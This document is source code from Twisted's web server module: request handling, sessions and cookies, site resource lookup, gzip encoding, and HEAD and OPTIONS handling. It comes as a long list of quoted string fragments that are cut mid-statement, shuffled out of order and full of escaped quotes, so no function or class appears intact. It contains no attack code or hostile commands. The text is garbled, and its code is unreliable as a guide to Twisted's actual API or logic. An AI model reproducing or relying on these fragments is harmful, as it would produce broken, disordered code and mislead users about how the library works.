NOT_DONE_YET: Opaque; do not depend on", "body = ( b\"<html><head><title>web.Server Traceback\" b\" (most recent call last)</title></head>\"", "C{NOT IMPLEMENTED} or C{NOT ALLOWED} response. @param resrc: The resource", "gzip encoding, and encodes the request if so. \"\"\" acceptHeaders", "or looked up with L{Request.getSession}, this will return that object.", "to this method. @rtype: L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\", failure=reason) if self.site.displayTracebacks:", "@ivar counter: The number of sessions that have been generated.", "= self.site.makeSession() self.addCookie(cookiename, session.uid, path=b\"/\", secure=secure) setattr(self, sessionAttribute, session) if", "encode(self, data): \"\"\" Write to the request, automatically compressing data", "segment in prepath]) return prefix + path def prePathURL(self): return", "OPTIONS * request as being something that a client can", "self.site = site self.uid = uid self.expireCallbacks = [] self.touch()", "is None: # No session was created yet for this", "self._expireCall = None def touch(self): \"\"\" Mark the session as", "session. \"\"\" del self.site.sessions[self.uid] for c in self.expireCallbacks: c() self.expireCallbacks", "A user's session with a system. This utility class contains", "session. @param uid: Unique ID of the session. @type uid:", "self.finish() return if self.method in (supportedMethods): # We MUST include", "should be supplied. We omit it on # NOT_MODIFIED and", "and the above logic may run # multiple times. It", "if resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self) if encoder is not None:", "\"<br />\" + \"Resource: \" + util._PRE(reflect.safe_repr(resrc)) + \"<br />\"", "components.Componentized): \"\"\" An HTTP request. @ivar defaultContentType: A L{bytes} giving", "= resrc.render(self) if body is NOT_DONE_YET: self._log.info( \"Tried to fake", "been created or looked up with L{Request.getSession}, this will return", "protocol # del x['server'] del x[\"channel\"] del x[\"content\"] del x[\"site\"]", "that session. @param reactor: L{IReactorTime} used to schedule expiration of", "headers. L{None} if the request headers do not indicate a", "iterates through the resource hierarchy, calling getChildWithDefault on each resource", "a message body. I think I'll eat it.\", slf=self, resrc=resrc,", "contentType is None and self.defaultContentType is not None and not", "reason passed to this method. @rtype: L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\", failure=reason)", "date_time_string = http.datetimeToString string_date_time = http.stringToDatetime # Support for other", "util from twisted.web.http import unquote from twisted.python import reflect, failure,", "b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\", b\"%d\" % (len(body),))", "the resource # a 'GET' request and then return only", "sessionInterface: return session.getComponent(sessionInterface) return session def _prePathURL(self, prepath): port =", "NO_CONTENT responses. We also omit it if there # is", "jellyable. x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders()) return x # HTML generation helpers", "session. @ivar site: The L{Site} that generated the session. @type", "implementer from twisted.python.compat import networkString, nativeString from twisted.spread.pb import Copyable,", "counter: L{int} @ivar sessionCheckTime: Deprecated and unused. See L{Session.sessionTimeout} instead.", "LICENSE for details. \"\"\" This is a web server which", "this request. cookiename = b\"_\".join([cookieString] + self.sitepath) sessionCookie = self.getCookie(cookiename)", "the zlib buffer. \"\"\" remain = self._zlibCompressor.flush() self._zlibCompressor = None", "The reason passed to this method. @rtype: L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\",", "than bother the user with this, we simply fast-path it", "\"<br />\" + \"Value: \" + util._PRE(reflect.safe_repr(body)), ).render(self) if self.method", "NOT_DONE_YET = 1 __all__ = [ \"supportedMethods\", \"Request\", \"Session\", \"Site\",", "length): \"\"\" Called when HTTP channel got length of content", "isinstance(body, bytes): body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request did not return", "= networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): \"\"\" A web site: manage", "a session with a unique ID for that session. @param", "\"\"\" Call this callback when the session expires or logs", "\"NOT_DONE_YET\", \"GzipEncoderFactory\", ] # backwards compatibility deprecatedModuleAttribute( Version(\"Twisted\", 12, 1,", "not None: self.requestFactory = requestFactory def _openLogFile(self, path): from twisted.python", "can't honor it # because we compress on the fly.", "refactor this attribute out; it's from protocol # del x['server']", "in responses if no other value is set. L{None} disables", "request): self._zlibCompressor = zlib.compressobj( compressLevel, zlib.DEFLATED, 16 + zlib.MAX_WBITS )", "it finds for a path element, stopping when it hits", "body is NOT_DONE_YET: self._log.info( \"Tried to fake a HEAD request", "def _handleStar(self): \"\"\" Handle receiving a request whose path is", "self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\") # RFC 7231 says we", "C{None}, the reactor associated with I{site} is used. \"\"\" super().__init__()", "\"\"\" Generate a new Session instance, and store it for", "return resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory def acceptableProtocols(self): \"\"\" Protocols this", "data: A string to write to the response. @type data:", "name else: return name def gotLength(self, length): \"\"\" Called when", "return session def _prePathURL(self, prepath): port = self.getHost().port if self.isSecure():", "return only the headers, # not the body. self._log.info( \"Using", "the body. self._log.info( \"Using GET to fake a HEAD request", "del x['server'] del x[\"channel\"] del x[\"content\"] del x[\"site\"] self.content.seek(0, 0)", "quote as _quote import zlib from binascii import hexlify from", "number of sessions that have been generated. @type counter: L{int}", "except UnsupportedMethod as e: allowedMethods = e.allowedMethods if (self.method ==", "it. By default, the cookie with be secure for HTTPS", "_quote import zlib from binascii import hexlify from zope.interface import", ") ) path = b\"/\".join([quote(segment, safe=b\"\") for segment in prepath])", "to render itself. If the resource does not support the", "L{None} disables the default. @ivar _insecureSession: The L{Session} object representing", "True}. @param forceNotSecure: Should we retrieve a session that will", "= self.code not in (http.NOT_MODIFIED, http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b\"content-type\") contentLength", "\"date_time_string\", ) deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.stringToDatetime", "[encoding]) return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class _GzipEncoder: \"\"\" An encoder", "compressLevel, zlib.DEFLATED, 16 + zlib.MAX_WBITS ) self._request = request def", "same interface.\"\"\" self.setETag(tag) def view_setResponseCode(self, issuer, code, message=None): \"\"\" Remote", "\"\"\" self.expireCallbacks.append(callback) def expire(self): \"\"\" Expire/logout of the session. \"\"\"", "a user's session. \"\"\" self.counter = self.counter + 1 return", "if self.path == b\"*\": self._handleStar() return try: resrc = self.site.getResourceFor(self)", "= reactor self.site = site self.uid = uid self.expireCallbacks =", "v): \"\"\"Remote version of setHeader; same interface.\"\"\" self.setHeader(k, v) def", "there # is a Content-Length header set to 0, as", "\" + util._PRE(reflect.safe_repr(body)), ).render(self) if self.method == b\"HEAD\": if len(body)", "generating a HEAD response by # faking out the request", "@return: the session attribute @rtype: L{Session} or L{None} \"\"\" if", "It will only actually change the responseHeaders # once though,", "sibling resource @type name: C{bytes} @return: A relative URL. @rtype:", "1 __all__ = [ \"supportedMethods\", \"Request\", \"Session\", \"Site\", \"version\", \"NOT_DONE_YET\",", "self.method = b\"GET\" self._inFakeHead = True body = resrc.render(self) if", "resrc: The resource to render. @type resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>}", "reactor=None): \"\"\" Initialize a session with a unique ID for", "the client accepts gzip encoding, and encodes the request if", "so. \"\"\" acceptHeaders = b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) ) if self._gzipCheckRegex.search(acceptHeaders):", "request) # IProtocolNegotiationFactory def acceptableProtocols(self): \"\"\" Protocols this server can", "Protocols this server can speak. \"\"\" baseProtocols = [b\"http/1.1\"] if", "indicate a length. \"\"\" try: getContentFile = self.channel.site.getContentFile except AttributeError:", "request, this will not return that session.) @return: the session", "Matrix Laboratories. # See LICENSE for details. \"\"\" This is", "Logger NOT_DONE_YET = 1 __all__ = [ \"supportedMethods\", \"Request\", \"Session\",", "if not self._inFakeHead: if self._encoder: data = self._encoder.encode(data) http.Request.write(self, data)", "port prefix = networkString( \"http%s://%s%s/\" % ( self.isSecure() and \"s\"", "os import re from html import escape from typing import", "this # with no body. self.setHeader(b\"Content-Length\", b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory) class", "# Only let the write happen if we're not generating", "__init__(self, site, uid, reactor=None): \"\"\" Initialize a session with a", "yet for this request. cookiename = b\"_\".join([cookieString] + self.sitepath) sessionCookie", "if self._expireCall and self._expireCall.active(): self._expireCall.cancel() # Break reference cycle. self._expireCall", "self.finish() def processingFailed(self, reason): \"\"\" Finish this request with an", "= remote.remoteMethod(\"stopProducing\") class Session(components.Componentized): \"\"\" A user's session with a", "self.requestFactory channel.site = self return channel isLeaf = 0 def", "b\"text/html\") self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() return reason def", "def process(self): \"\"\" Process a request. Find the addressed resource", "if encoder is not None: self._encoder = encoder self.render(resrc) except", "for future reference. \"\"\" uid = self._mkuid() session = self.sessions[uid]", "C{callable} or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args, **kwargs) self.sessions =", "that will be transmitted only over HTTPS. \"\"\" defaultContentType =", "address.IPv4Address): return (\"INET\", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return (\"UNIX\",", "def getRootURL(self): \"\"\" Get a previously-remembered URL. @return: An absolute", "resource: The root of the resource hierarchy. All request traversal", "self # Sitepath is used to determine cookie names between", "self.finish() return reason def view_write(self, issuer, data): \"\"\"Remote version of", "if not, create it. By default, the cookie with be", "class Site(http.HTTPFactory): \"\"\" A web site: manage log, sessions, and", "{} return d def _mkuid(self): \"\"\" (internal) Generate an opaque,", "+ util._PRE(reflect.safe_repr(resrc)) + \"<br />\" + \"Value: \" + util._PRE(reflect.safe_repr(body)),", "nativeString(self.method), \"plural\": ((len(allowedMethods) > 1) and \"s\") or \"\", \"allowed\":", "\"string_date_time\", ) date_time_string = http.datetimeToString string_date_time = http.stringToDatetime # Support", "@ivar sessions: Mapping of session IDs to objects returned by", "{} self.resource = resource if requestFactory is not None: self.requestFactory", "C{False}. @ivar sessionFactory: factory for sessions objects. Default to L{Session}.", "path is '*'. if self.path == b\"*\": self._handleStar() return try:", "RFC 7231 says we MUST set content-length 0 when responding", "self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self._inFakeHead = False self.method = b\"HEAD\"", "use OPTIONS. \"\"\" if self.method == b\"OPTIONS\": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED)", "be implemented on a per-resource basis. supportedMethods = (b\"GET\", b\"HEAD\",", "= {} return d def _mkuid(self): \"\"\" (internal) Generate an", "to a HEAD request). @param data: A string to write", "def view_setETag(self, issuer, tag): \"\"\"Remote version of setETag; same interface.\"\"\"", "escape from typing import List, Optional from urllib.parse import quote", "port = self.getHost().port if self.isSecure(): default = 443 else: default", "from incremental import Version from twisted.python.deprecate import deprecatedModuleAttribute from twisted.logger", "encoding = b\",\".join(encoding + [b\"gzip\"]) else: encoding = b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\",", "fly. \"\"\" if not self._request.startedWriting: # Remove the content-length header,", "a session has already been created or looked up with", "= \"_insecureSession\" else: cookieString = b\"TWISTED_SECURE_SESSION\" sessionAttribute = \"_secureSession\" session", "super().buildProtocol(addr) channel.requestFactory = self.requestFactory channel.site = self return channel isLeaf", "\"\"\" Redirect because a Site is always a directory. \"\"\"", "itself. If the resource does not support the requested method,", "_encoder = None _log = Logger() def __init__(self, *args, **kw):", "@rtype: L{bytes} \"\"\" return self.appRootURL def _handleStar(self): \"\"\" Handle receiving", "a C{NOT IMPLEMENTED} or C{NOT ALLOWED} response. @param resrc: The", "not session: session = self.site.makeSession() self.addCookie(cookiename, session.uid, path=b\"/\", secure=secure) setattr(self,", "# Address objects aren't jellyable x[\"host\"] = _addressToTuple(x[\"host\"]) x[\"client\"] =", "\"\"\" self.counter = self.counter + 1 return hexlify(self._entropy(32)) def makeSession(self):", "C{bytes} \"\"\" if self.postpath: return (len(self.postpath) * b\"../\") + name", "for HTTP requests. If for some reason you need access", "L{Site.getResourceFor()} \"\"\" # get site from channel self.site = self.channel.site", "b\"HEAD\", b\"POST\") def quote(string, *args, **kwargs): return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\")", "headers if the client accepts gzip encoding, and encodes the", "if self._encoder: data = self._encoder.finish() if data: http.Request.write(self, data) return", "Override C{http.Request.finish} for possible encoding. \"\"\" if self._encoder: data =", "remote.remoteMethod(\"stopProducing\") class Session(components.Componentized): \"\"\" A user's session with a system.", "\"\"\" Write to the request, automatically compressing data on the", "server which integrates with the twisted.internet infrastructure. @var NOT_DONE_YET: A", "request). @param data: A string to write to the response.", "sessions: L{dict} mapping L{bytes} to L{Session} given the default C{sessionFactory}", "the session. @type site: L{Site} @ivar uid: A unique identifier", "If C{None}, the reactor associated with I{site} is used. \"\"\"", "\"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\", ] # backwards compatibility deprecatedModuleAttribute( Version(\"Twisted\", 12,", "with\"\"\" \"\"\" the method \"%(method)s\". I only allow\"\"\" \"\"\" the", "and not secure for HTTP requests. If for some reason", "object. (This will always be the session that matches the", "resource: L{IResource} provider @param requestFactory: Overwrite for default requestFactory. @type", "set various default headers self.setHeader(b\"server\", version) self.setHeader(b\"date\", http.datetimeToString()) # Resource", "requested resource. @param name: The sibling resource @type name: C{bytes}", "default = 80 if port == default: hostport = \"\"", "and that the HTTP connection should be left open. @type", "HTML generation helpers def sibLink(self, name): \"\"\" Return the text", "a unique ID for that session. @param reactor: L{IReactorTime} used", "\"unusednames=issuer\" _inFakeHead = False _encoder = None _log = Logger()", "9.4) self._log.info( \"Warning: HEAD request {slf} for resource {resrc} is\"", "if self.postpath: return (len(self.postpath) * b\"../\") + name else: return", "and NO_CONTENT responses. We also omit it if there #", "as HTML. Default to C{False}. @ivar sessionFactory: factory for sessions", "for details. \"\"\" This is a web server which integrates", "it if there # is a Content-Length header set to", "identifier for the session. @type uid: L{bytes} @ivar _reactor: An", "view_write(self, issuer, data): \"\"\"Remote version of write; same interface.\"\"\" self.write(data)", "L{bool} \"\"\" # Make sure we aren't creating a secure", "which integrates with the twisted.internet infrastructure. @var NOT_DONE_YET: A token", "= Logger() def __init__(self, *args, **kw): http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self)", "touch(self): \"\"\" Mark the session as modified, which resets expiration", "if session is None: # No session was created yet", "value. \"\"\" import copy import os import re from html", "\"\"\" Return the text that links to a child of", "_request: A reference to the originating request. @since: 12.3 \"\"\"", "def encode(self, data): \"\"\" Write to the request, automatically compressing", "*args, **kw) components.Componentized.__init__(self) def getStateToCopyFor(self, issuer): x = self.__dict__.copy() del", "raised during rendering are returned to the client as HTML.", "= None @property def session(self): \"\"\" If a session has", "ALLOWED} response. @param resrc: The resource to render. @type resrc:", "# if it still hasn't been set, fix it up.", "compressor, default to 9 (highest). @since: 12.3 \"\"\" _gzipCheckRegex =", "See LICENSE for details. \"\"\" This is a web server", "a resource to render itself. If the resource does not", "bytes\", \"Request: \" + util._PRE(reflect.safe_repr(self)) + \"<br />\" + \"Resource:", "factory for sessions objects. Default to L{Session}. @ivar sessions: Mapping", "default, the cookie with be secure for HTTPS requests and", "cookieString = b\"TWISTED_SESSION\" sessionAttribute = \"_insecureSession\" else: cookieString = b\"TWISTED_SECURE_SESSION\"", "later call C{.write} and C{.finish} to complete the request, and", "A relative URL. @rtype: C{bytes} \"\"\" if self.postpath: return (len(self.postpath)", "@raise KeyError: If the session is not found. \"\"\" return", "def quote(string, *args, **kwargs): return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\") def _addressToTuple(addr):", "compatibility deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.datetimeToString instead\",", "# Sitepath is used to determine cookie names between distributed", "@return: A relative URL. @rtype: C{bytes} \"\"\" if self.postpath: return", "support the requested method, generate a C{NOT IMPLEMENTED} or C{NOT", "= self._prePathURL(self.prepath[:-1]) self.appRootURL = url def getRootURL(self): \"\"\" Get a", "\"\"\" return self.sessions[uid] def buildProtocol(self, addr): \"\"\" Generate a channel", "@ivar displayTracebacks: If set, unhandled exceptions raised during rendering are", "HEAD (RFC 2616, 5.1.1). If the # resource doesn't, fake", "body = epage.render(self) else: epage = resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\", \"I", "@ivar sessionFactory: factory for sessions objects. Default to L{Session}. @ivar", "on # NOT_MODIFIED and NO_CONTENT responses. We also omit it", "len(self.prepath) and self.prepath[-1]: return self.prepath[-1] + b\"/\" + name else:", "\"\"\" self.setResponseCode(code, message) def view_registerProducer(self, issuer, producer, streaming): \"\"\"Remote version", "nativeString(self.getRequestHostname()), hostport, ) ) path = b\"/\".join([quote(segment, safe=b\"\") for segment", "to probe server capabilities or readiness. Rather than bother the", "fake a HEAD request for {resrc}\", resrc=resrc ) self.method =", "twisted.internet.error import AlreadyCalled, AlreadyCancelled from twisted.web import iweb, http, util", "let the write happen if we're not generating a HEAD", "import copyright from twisted.web import resource from twisted.web.error import UnsupportedMethod", "Allowed\", s) body = epage.render(self) else: epage = resource.ErrorPage( http.NOT_IMPLEMENTED,", "compressLevel: The compression level used by the compressor, default to", "session was created). A UNIX timestamp as returned by L{IReactorTime.seconds()}.", "happen if we're not generating a HEAD response by #", "test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories. #", "unique ID for that session. @param reactor: L{IReactorTime} used to", "@param uid: Unique ID of the session. @type uid: L{bytes}.", "expiration. @ivar sessionTimeout: Time after last modification the session will", "_insecureSession: The L{Session} object representing state that will be transmitted", "the transport (if not responding to a HEAD request). @param", "- 1) * b\"../\") + name elif lpp == 1:", "self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: \"\"\" @cvar compressLevel: The compression level", "@since: 12.3 \"\"\" _gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel = 9 def", "@param length: The length of the request body, as indicated", "self.setHeader(b\"Content-Length\", b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: \"\"\" @cvar compressLevel: The", "we aren't creating a secure session on a non-secure page", "method. Note, if we are doing that, # startedWriting will", "simply fast-path it back to an empty 200 OK. Any", "http.INTERNAL_SERVER_ERROR, \"Request did not return bytes\", \"Request: \" + util._PRE(reflect.safe_repr(self))", "= self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self) if encoder is", "not secure for HTTP requests. If for some reason you", "\"\"\" Finish handling the request request, flushing any data from", "or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args, **kwargs) self.sessions = {}", "Allow header # (RFC 2616, 10.4.6 and 14.7) self.setHeader(b\"Allow\", b\",", "Session(components.Componentized): \"\"\" A user's session with a system. This utility", "mapping L{bytes} to L{Session} given the default C{sessionFactory} @ivar counter:", "b\"content-type\", [self.defaultContentType] ) # Only let the write happen if", "state that will be transmitted over plain-text HTTP. @ivar _secureSession:", "of addCookie; same interface.\"\"\" self.addCookie(k, v, **kwargs) def view_setHeader(self, issuer,", "request method. Note, if we are doing that, # startedWriting", "this will return that object. (This will always be the", "content-length 0 when responding to this # with no body.", "> 0: # This is a Bad Thing (RFC 2616,", "L{bytes} to L{Session} given the default C{sessionFactory} @ivar counter: The", "buildProtocol(self, addr): \"\"\" Generate a channel attached to this site.", "if body is NOT_DONE_YET: return if not isinstance(body, bytes): body", "= ( b\"<html><head><title>web.Server Traceback\" b\" (most recent call last)</title></head>\" b\"<body><b>web.Server", "Default to L{Request}. @ivar displayTracebacks: If set, unhandled exceptions raised", "None and self.defaultContentType is not None and not contentLengthZero ):", "\"\"\" Remote version of setResponseCode; same interface. \"\"\" self.setResponseCode(code, message)", "def URLPath(self): from twisted.python import urlpath return urlpath.URLPath.fromRequest(self) def rememberRootURL(self):", "sessionInterface=None, forceNotSecure=False): \"\"\" Check if there is a session cookie,", "from urllib.parse import quote as _quote import zlib from binascii", "request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) ) if self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding:", "self.unregisterProducer() ### these calls remain local _secureSession = None _insecureSession", "render(self, resrc): \"\"\" Ask a resource to render itself. If", "Session has already expired. session = None if session is", "_GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class _GzipEncoder: \"\"\" An encoder which supports", "An HTTP request. @ivar defaultContentType: A L{bytes} giving the default", "finish; same interface.\"\"\" self.finish() def view_addCookie(self, issuer, k, v, **kwargs):", "%(allowed)s here.\"\"\" % { \"URI\": escape(nativeString(self.uri)), \"method\": nativeString(self.method), \"plural\": ((len(allowedMethods)", "is NOT_DONE_YET: return if not isinstance(body, bytes): body = resource.ErrorPage(", "exceptions raised during rendering are returned to the client as", "the stream. @ivar _request: A reference to the originating request.", "zlib compressor instance used to compress the stream. @ivar _request:", "def render(self, request): \"\"\" Redirect because a Site is always", "which L{twisted.web.resource.IResource.render} implementations can return to indicate that the application", "to the originating request. @since: 12.3 \"\"\" _zlibCompressor = None", "\"Using GET to fake a HEAD request for {resrc}\", resrc=resrc", "A factory which is called with (channel) and creates L{Request}", "same interface.\"\"\" self.addCookie(k, v, **kwargs) def view_setHeader(self, issuer, k, v):", "self.postpath: return (len(self.postpath) * b\"../\") + name else: return name", "except UnsupportedMethod if body is NOT_DONE_YET: return if not isinstance(body,", "same interface. (requires a remote producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming) def", "else: cookieString = b\"TWISTED_SECURE_SESSION\" sessionAttribute = \"_secureSession\" session = getattr(self,", "= os.urandom def __init__(self, resource, requestFactory=None, *args, **kwargs): \"\"\" @param", "self.site = self.channel.site # set various default headers self.setHeader(b\"server\", version)", "a resource's getChild method. \"\"\" request.site = self return self.resource.getChildWithDefault(pathEl,", "if data: http.Request.write(self, data) return http.Request.finish(self) def render(self, resrc): \"\"\"", "*args, **kw): http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self) def getStateToCopyFor(self, issuer): x", "resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try: body = resrc.render(self) except", "body, as indicated by the request headers. L{None} if the", "string to write to the response. @type data: L{bytes} \"\"\"", "if len(body) > 0: # This is a Bad Thing", "== 0 if len(self.prepath) and self.prepath[-1]: return self.prepath[-1] + b\"/\"", "x[\"channel\"] del x[\"content\"] del x[\"site\"] self.content.seek(0, 0) x[\"content_data\"] = self.content.read()", "lpp == 0 if len(self.prepath) and self.prepath[-1]: return self.prepath[-1] +", "responses if no other value is set. L{None} disables the", "ID for that session. @param reactor: L{IReactorTime} used to schedule", "uid, reactor=None): \"\"\" Initialize a session with a unique ID", "capabilities or readiness. Rather than bother the user with this,", "\"\"\"Remote version of addCookie; same interface.\"\"\" self.addCookie(k, v, **kwargs) def", "the session. @type uid: L{bytes} @ivar _reactor: An object providing", "networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): \"\"\" A web site: manage log,", "default headers self.setHeader(b\"server\", version) self.setHeader(b\"date\", http.datetimeToString()) # Resource Identification self.prepath", "GET to fake a HEAD request for {resrc}\", resrc=resrc )", "a secure request, this will not return that session.) @return:", "L{bytes}. @raise KeyError: If the session is not found. \"\"\"", "a HEAD request). @param data: A string to write to", "nativeString from twisted.spread.pb import Copyable, ViewPoint from twisted.internet import address,", "Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\", b\"%d\"", "\"\"\" Handle receiving a request whose path is '*'. RFC", "\"\"\" _zlibCompressor = None def __init__(self, compressLevel, request): self._zlibCompressor =", "x['server'] del x[\"channel\"] del x[\"content\"] del x[\"site\"] self.content.seek(0, 0) x[\"content_data\"]", "if we are doing that, # startedWriting will never be", "http.Request.write(self, data) return http.Request.finish(self) def render(self, resrc): \"\"\" Ask a", "else: return name def childLink(self, name): \"\"\" Return the text", "C{bytes} \"\"\" lpp = len(self.postpath) if lpp > 1: return", "this server can speak. \"\"\" baseProtocols = [b\"http/1.1\"] if http.H2_ENABLED:", "session that will be transmitted over HTTP, even if this", "# with no body. self.setHeader(b\"Content-Length\", b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory:", "HEAD request {slf} for resource {resrc} is\" \" returning a", "Redirect because a Site is always a directory. \"\"\" request.redirect(request.prePathURL()", "Session sessionCheckTime = 1800 _entropy = os.urandom def __init__(self, resource,", "name else: return name def childLink(self, name): \"\"\" Return the", "server can speak. \"\"\" baseProtocols = [b\"http/1.1\"] if http.H2_ENABLED: baseProtocols.insert(0,", "# end except UnsupportedMethod if body is NOT_DONE_YET: return if", "logs out. \"\"\" self.expireCallbacks.append(callback) def expire(self): \"\"\" Expire/logout of the", "b\"text/html\" site = None appRootURL = None prepath: Optional[List[bytes]] =", "# -*- test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix", "{resrc}, but \" \"it got away from me.\", resrc=resrc, )", "@ivar defaultContentType: A L{bytes} giving the default I{Content-Type} value to", "b\"%d\" % (len(body),)) self._inFakeHead = False self.method = b\"HEAD\" self.write(b\"\")", "session cookie, and if not, create it. By default, the", "to the request, automatically compressing data on the fly. \"\"\"", "we simply fast-path it back to an empty 200 OK.", "instance used to compress the stream. @ivar _request: A reference", "of the session. \"\"\" del self.site.sessions[self.uid] for c in self.expireCallbacks:", "that the HTTP connection should be left open. @type NOT_DONE_YET:", "ViewPoint(issuer, self) # Address objects aren't jellyable x[\"host\"] = _addressToTuple(x[\"host\"])", "the first write, check to see if a default #", "b\"TWISTED_SESSION\" sessionAttribute = \"_insecureSession\" else: cookieString = b\"TWISTED_SECURE_SESSION\" sessionAttribute =", "when responding to this # with no body. self.setHeader(b\"Content-Length\", b\"0\")", "= 80 if port == default: hostport = \"\" else:", "\"\"\" counter = 0 requestFactory = Request displayTracebacks = False", "on any particular type for this value. \"\"\" import copy", "set. L{None} disables the default. @ivar _insecureSession: The L{Session} object", "later recalling. \"\"\" url = self._prePathURL(self.prepath[:-1]) self.appRootURL = url def", "a directory. \"\"\" request.redirect(request.prePathURL() + b\"/\") request.finish() def getChildWithDefault(self, pathEl,", "keep it alive. session.touch() except (AlreadyCalled, AlreadyCancelled): # Session has", "L{IReactorTime.seconds()}. @type lastModified: L{float} \"\"\" sessionTimeout = 900 _expireCall =", "0 requestFactory = Request displayTracebacks = False sessionFactory = Session", "@type name: C{bytes} @return: A relative URL. @rtype: C{bytes} \"\"\"", "self.setResponseCode(code, message) def view_registerProducer(self, issuer, producer, streaming): \"\"\"Remote version of", "\"\"\"Remote version of finish; same interface.\"\"\" self.finish() def view_addCookie(self, issuer,", "if not self.startedWriting: # Before doing the first write, check", "0), \"Please use twisted.web.http.datetimeToString instead\", \"twisted.web.server\", \"date_time_string\", ) deprecatedModuleAttribute( Version(\"Twisted\",", "= None _insecureSession = None @property def session(self): \"\"\" If", "lpp > 1: return ((lpp - 1) * b\"../\") +", "if C{forceNotSecure} is used on a secure request, this will", "sessionTimeout = 900 _expireCall = None def __init__(self, site, uid,", "import hexlify from zope.interface import implementer from twisted.python.compat import networkString,", "body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request did not return bytes\", \"Request:", "if body is NOT_DONE_YET: self._log.info( \"Tried to fake a HEAD", "interface.\"\"\" self.setETag(tag) def view_setResponseCode(self, issuer, code, message=None): \"\"\" Remote version", "d[\"sessions\"] = {} return d def _mkuid(self): \"\"\" (internal) Generate", "a request. This iterates through the resource hierarchy, calling getChildWithDefault", "resource from twisted.web.error import UnsupportedMethod from incremental import Version from", "( self.isSecure() and \"s\" or \"\", nativeString(self.getRequestHostname()), hostport, ) )", "honor it # because we compress on the fly. self._request.responseHeaders.removeHeader(b\"content-length\")", "getChild method. \"\"\" request.site = self return self.resource.getChildWithDefault(pathEl, request) def", "_prePathURL(self, prepath): port = self.getHost().port if self.isSecure(): default = 443", "registerProducer; same interface. (requires a remote producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming)", "self.requestFactory = requestFactory def _openLogFile(self, path): from twisted.python import logfile", "an element where isLeaf is true. \"\"\" request.site = self", "self._prePathURL(self.prepath) def URLPath(self): from twisted.python import urlpath return urlpath.URLPath.fromRequest(self) def", "(len(body),)) self.write(body) self.finish() return reason def view_write(self, issuer, data): \"\"\"Remote", "attribute out; it's from protocol # del x['server'] del x[\"channel\"]", "aren't jellyable. x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders()) return x # HTML generation", "class Session(components.Componentized): \"\"\" A user's session with a system. This", "is a session cookie, and if not, create it. By", "= [] self.touch() self.sessionNamespaces = {} def startCheckingExpiration(self): \"\"\" Start", "\"\"\" if self.isSecure(): return self._secureSession else: return self._insecureSession def getSession(self,", "site: manage log, sessions, and resources. @ivar requestFactory: A factory", "uid: Unique ID of the session. @type uid: L{bytes}. @raise", "import quote as _quote import zlib from binascii import hexlify", "forceNotSecure: Should we retrieve a session that will be transmitted", "session, to keep it alive. session.touch() except (AlreadyCalled, AlreadyCancelled): #", "XXX refactor this attribute out; it's from protocol # del", "'*'. RFC 7231 defines an OPTIONS * request as being", "need access to the insecure cookie from a secure request", "a per-resource basis. supportedMethods = (b\"GET\", b\"HEAD\", b\"POST\") def quote(string,", "startedWriting will never be true, and the above logic may", "view_finish(self, issuer): \"\"\"Remote version of finish; same interface.\"\"\" self.finish() def", 